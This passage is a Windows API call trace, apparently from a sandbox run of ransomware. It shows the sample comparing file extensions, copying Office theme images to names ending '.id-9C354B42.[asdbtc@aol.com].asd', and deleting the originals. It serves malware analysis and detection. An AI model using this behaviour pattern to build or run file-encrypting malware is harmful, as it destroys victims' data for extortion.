(lpString=".pdf") returned 4 [0054.070] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.070] lstrlenW (lpString=".xls") returned 4 [0054.070] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.070] lstrlenW (lpString=".xlsx") returned 5 [0054.070] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.070] lstrlenW (lpString=".ppt") returned 4 [0054.070] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0054.070] lstrlenW (lpString=".zip") returned 4 [0054.070] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.070] lstrlenW (lpString=".rar") returned 4 [0054.071] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.071] lstrlenW (lpString=".bz2") returned 4 [0054.071] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.071] lstrlenW (lpString=".7z") returned 3 [0054.071] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0054.071] lstrlenW (lpString=".dbf") returned 4 [0054.071] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0054.071] lstrlenW (lpString=".1cd") returned 4 [0054.071] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0054.071] lstrlenW (lpString=".jpg") returned 4 [0054.071] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.071] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.071] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.072] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=25106) returned 1 [0054.072] CloseHandle (hObject=0x1f4) returned 1 [0054.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0054.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.072] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.072] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.072] GetLastError () returned 0x0 [0054.072] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x6212, lpOverlapped=0x0) returned 1 [0054.200] WriteFile (in: hFile=0x20c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x6220, lpOverlapped=0x0) returned 1 [0054.202] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.203] WriteFile (in: hFile=0x20c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.203] SetEndOfFile (hFile=0x20c) returned 1 [0054.203] CloseHandle (hObject=0x20c) returned 1 [0054.203] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.203] SetEndOfFile (hFile=0x1f4) returned 1 [0054.204] CloseHandle (hObject=0x1f4) returned 1 [0054.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.204] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1 [0054.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0054.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0054.205] lstrlenW (lpString=".doc") returned 4 [0054.205] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.205] lstrlenW (lpString=".docx") returned 5 [0054.205] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.205] lstrlenW (lpString=".pdf") returned 4 [0054.205] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.205] lstrlenW (lpString=".xls") returned 4 [0054.205] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.205] lstrlenW (lpString=".xlsx") returned 5 [0054.205] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.205] lstrlenW (lpString=".ppt") returned 4 [0054.205] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0054.205] lstrlenW (lpString=".zip") returned 4 [0054.205] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.205] lstrlenW (lpString=".rar") returned 4 [0054.205] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.205] lstrlenW (lpString=".bz2") returned 4 [0054.205] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.205] lstrlenW (lpString=".7z") returned 3 [0054.205] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0054.205] lstrlenW (lpString=".dbf") returned 4 [0054.205] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0054.205] lstrlenW (lpString=".1cd") returned 4 [0054.205] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0054.205] lstrlenW (lpString=".jpg") returned 4 [0054.205] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0054.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0054.206] lstrlenW (lpString=".doc") returned 4 [0054.206] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.206] lstrlenW (lpString=".docx") returned 5 [0054.206] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.206] lstrlenW (lpString=".pdf") returned 4 [0054.206] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.206] lstrlenW (lpString=".xls") returned 4 [0054.206] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.206] lstrlenW (lpString=".xlsx") returned 5 [0054.206] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.206] lstrlenW (lpString=".ppt") returned 4 [0054.206] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0054.206] lstrlenW (lpString=".zip") returned 4 [0054.206] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.206] lstrlenW (lpString=".rar") returned 4 [0054.206] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.206] lstrlenW (lpString=".bz2") returned 4 [0054.206] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.206] lstrlenW (lpString=".7z") returned 3 [0054.206] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0054.206] lstrlenW (lpString=".dbf") returned 4 [0054.206] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0054.206] lstrlenW (lpString=".1cd") returned 4 [0054.206] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0054.206] lstrlenW (lpString=".jpg") returned 4 [0054.206] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.207] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.207] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.207] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.207] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=26402) returned 1 [0054.207] CloseHandle (hObject=0x1f4) returned 1 [0054.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0054.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.207] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.207] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.208] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.208] GetLastError () returned 0x0 [0054.208] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x6722, lpOverlapped=0x0) returned 1 [0054.212] WriteFile (in: hFile=0x20c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x6730, lpOverlapped=0x0) returned 1 [0054.213] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.213] WriteFile (in: hFile=0x20c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.213] SetEndOfFile (hFile=0x20c) returned 1 [0054.214] CloseHandle (hObject=0x20c) returned 1 [0054.214] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.214] SetEndOfFile (hFile=0x1f4) returned 1 [0054.215] CloseHandle (hObject=0x1f4) returned 1 [0054.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.215] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1 [0054.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0054.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0054.215] lstrlenW (lpString=".doc") returned 4 [0054.215] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.215] lstrlenW (lpString=".docx") returned 5 [0054.215] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.215] lstrlenW (lpString=".pdf") returned 4 [0054.215] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.215] lstrlenW (lpString=".xls") returned 4 [0054.216] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.216] lstrlenW (lpString=".xlsx") returned 5 [0054.216] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.216] lstrlenW (lpString=".ppt") returned 4 [0054.216] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0054.216] lstrlenW (lpString=".zip") returned 4 [0054.216] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.216] lstrlenW (lpString=".rar") returned 4 [0054.216] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.216] lstrlenW (lpString=".bz2") returned 4 [0054.216] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.216] lstrlenW (lpString=".7z") returned 3 [0054.216] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0054.216] lstrlenW (lpString=".dbf") returned 4 [0054.216] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0054.216] lstrlenW (lpString=".1cd") returned 4 [0054.216] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0054.216] lstrlenW (lpString=".jpg") returned 4 [0054.216] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0054.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0054.216] lstrlenW (lpString=".doc") returned 4 [0054.216] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.216] lstrlenW (lpString=".docx") returned 5 [0054.216] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.216] lstrlenW (lpString=".pdf") returned 4 [0054.216] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.216] lstrlenW (lpString=".xls") returned 4 [0054.216] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.217] lstrlenW (lpString=".xlsx") returned 5 [0054.217] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.217] lstrlenW (lpString=".ppt") returned 4 [0054.217] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0054.217] lstrlenW (lpString=".zip") returned 4 [0054.217] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.217] lstrlenW (lpString=".rar") returned 4 [0054.217] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.217] lstrlenW (lpString=".bz2") returned 4 [0054.217] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.217] lstrlenW (lpString=".7z") returned 3 [0054.217] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0054.217] lstrlenW (lpString=".dbf") returned 4 [0054.217] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0054.217] lstrlenW (lpString=".1cd") returned 4 [0054.217] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0054.217] lstrlenW (lpString=".jpg") returned 4 [0054.217] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.217] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.217] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.218] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1354) returned 1 [0054.218] CloseHandle (hObject=0x1f4) returned 1 [0054.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0054.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.218] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.218] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.220] GetLastError () returned 0x0 [0054.220] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x54a, lpOverlapped=0x0) returned 1 [0054.221] WriteFile (in: hFile=0x20c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x550, lpOverlapped=0x0) returned 1 [0054.222] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.222] WriteFile (in: hFile=0x20c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.222] SetEndOfFile (hFile=0x20c) returned 1 [0054.222] CloseHandle (hObject=0x20c) returned 1 [0054.222] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.223] SetEndOfFile (hFile=0x1f4) returned 1 [0054.223] CloseHandle (hObject=0x1f4) returned 1 [0054.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.224] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1 [0054.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0054.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0054.224] lstrlenW (lpString=".doc") returned 4 [0054.224] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.224] lstrlenW (lpString=".docx") returned 5 [0054.224] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.224] lstrlenW (lpString=".pdf") returned 4 [0054.224] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.224] lstrlenW (lpString=".xls") returned 4 [0054.224] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.224] lstrlenW (lpString=".xlsx") returned 5 [0054.224] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.224] lstrlenW (lpString=".ppt") returned 4 [0054.224] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0054.224] lstrlenW (lpString=".zip") returned 4 [0054.224] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.224] lstrlenW (lpString=".rar") returned 4 [0054.224] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.224] lstrlenW (lpString=".bz2") returned 4 [0054.224] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.224] lstrlenW (lpString=".7z") returned 3 [0054.224] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0054.224] lstrlenW (lpString=".dbf") returned 4 [0054.224] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0054.225] lstrlenW (lpString=".1cd") returned 4 [0054.225] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0054.225] lstrlenW (lpString=".jpg") returned 4 [0054.225] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0054.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0054.225] lstrlenW (lpString=".doc") returned 4 [0054.225] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.225] lstrlenW (lpString=".docx") returned 5 [0054.225] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.225] lstrlenW 